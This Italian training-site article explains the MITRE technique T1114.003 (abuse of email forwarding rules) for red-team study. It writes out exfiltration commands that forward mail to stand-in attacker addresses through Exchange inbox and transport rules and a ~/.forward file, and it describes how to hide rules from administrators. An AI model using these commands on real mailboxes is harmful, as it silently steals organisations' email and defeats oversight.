Iscriviti al webinar gratuito del 20 Ottobre per diventare Ethical Hacker! Scopri di più
Regole di Inoltro Email: Email Forwarding Rule (T1114.003)
La tecnica T1114.003 - Email Forwarding Rule descrive l'abuso delle regole di inoltro automatico dei client e server di posta per raccogliere silenziosamente comunicazioni sensibili. L'attaccante, ottenute credenziali valide o accesso amministrativo, configura regole che duplicano o redirigono i messaggi verso una casella controllata, tipicamente esterna al perimetro organizzativo.
Inquadrata nella tattica TA0009 (Collection), questa tecnica opera nella fase di raccolta della kill chain e si distingue per una caratteristica strategica: sopravvive al reset delle credenziali. Un amministratore può revocare la password compromessa, ma la regola di inoltro resta attiva nel profilo utente e continua a esfiltrare posta finché non viene esplicitamente rimossa. Questo la rende un meccanismo ibrido di collection e persistenza.
Le implementazioni variano dalle regole di casella individuali (inbox rules) create via Outlook, OWA o PowerShell, fino alle transport rule a livello tenant che intercettano l'intera posta organizzativa. Su Exchange è possibile occultare la regola manipolando le proprietà MAPI, rendendola invisibile alle console amministrative standard.
I dati MITRE documentano 5 gruppi APT che hanno abusato di questa tecnica in operazioni reali, tra cui campagne di spionaggio nordcoreano, frodi accademiche iraniane e intrusioni di estorsione. La disponibilità di 4 mitigazioni e di detection analytics multi-piattaforma (Windows, macOS, Linux, Office Suite) riflette la maturità delle contromisure, ma l'efficacia dipende dall'audit sistematico delle regole, spesso trascurato.
In un ingaggio red team, l'abuso delle regole di inoltro richiede credenziali valide o un token di sessione. La fase di accesso può basarsi su phishing, password spraying o furto di token OAuth; una volta ottenuto l'accesso alla mailbox, la creazione della regola è banale e a bassissima rumorosità.
Su Microsoft 365 / Exchange Online, il modulo ExchangeOnlineManagement di PowerShell (open source, Microsoft) è lo strumento canonico. Dopo Connect-ExchangeOnline, una regola di inoltro nascosta si crea con:
New-InboxRule -Name "Sync" -ForwardTo "attacker@external.tld" -DeleteMessage $false
Per aumentare la stealth, molti operatori impostano filtri che inoltrano solo messaggi contenenti parole chiave sensibili ("invoice", "credentials", "VPN"), riducendo il volume anomalo. La flag -StopProcessingRules può bloccare l'esecuzione di eventuali regole di alerting successive.
A livello tenant, se si dispone di privilegi Exchange Admin, la transport rule è la variante impiegata da LAPSUS$:
New-TransportRule -Name "Journaling" -BlindCopyTo "drop@attacker.tld" -SentToScope InOrganization
Questa intercetta ogni email interna senza modificare le singole caselle, risultando particolarmente insidiosa. In laboratorio è replicabile con un tenant Microsoft 365 Developer (gratuito, 90 giorni rinnovabili).
Per occultare la regola in Outlook desktop è possibile usare MFCMAPI (open source, GitHub microsoft/mfcmapi) modificando la proprietà PR_RULE_MSG_NAME e PR_RULE_MSG_PROVIDER per rendere la regola "hidden": Outlook e OWA non la mostreranno, mentre resta operativa sul server.
Su Google Workspace, l'equivalente si ottiene via API Gmail con lo scope gmail.settings.basic, creando un forwardingAddress e un filter con azione forward. Il tool GHunt (open source) è utile in fase di ricognizione OAuth pre-attacco.
Su ambienti Linux legacy si abusa del file ~/.forward o della configurazione procmail (open source, storicamente in Debian/Ubuntu):
echo "attacker@external.tld" > ~/.forward
Su macOS, le regole di Apple Mail risiedono in ~/Library/Mail/V/MailData/SyncedRules.plist* e possono essere modificate via AppleScript, benché richiedano la chiusura del client per essere ricaricate correttamente.
In un report red team, evidenziare sempre: identità dell'account compromesso, timestamp di creazione della regola, destinazione esterna, e se la regola risulta visibile o hidden. Rimuovere la regola al termine dell'ingaggio con Remove-InboxRule è parte integrante del cleanup.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.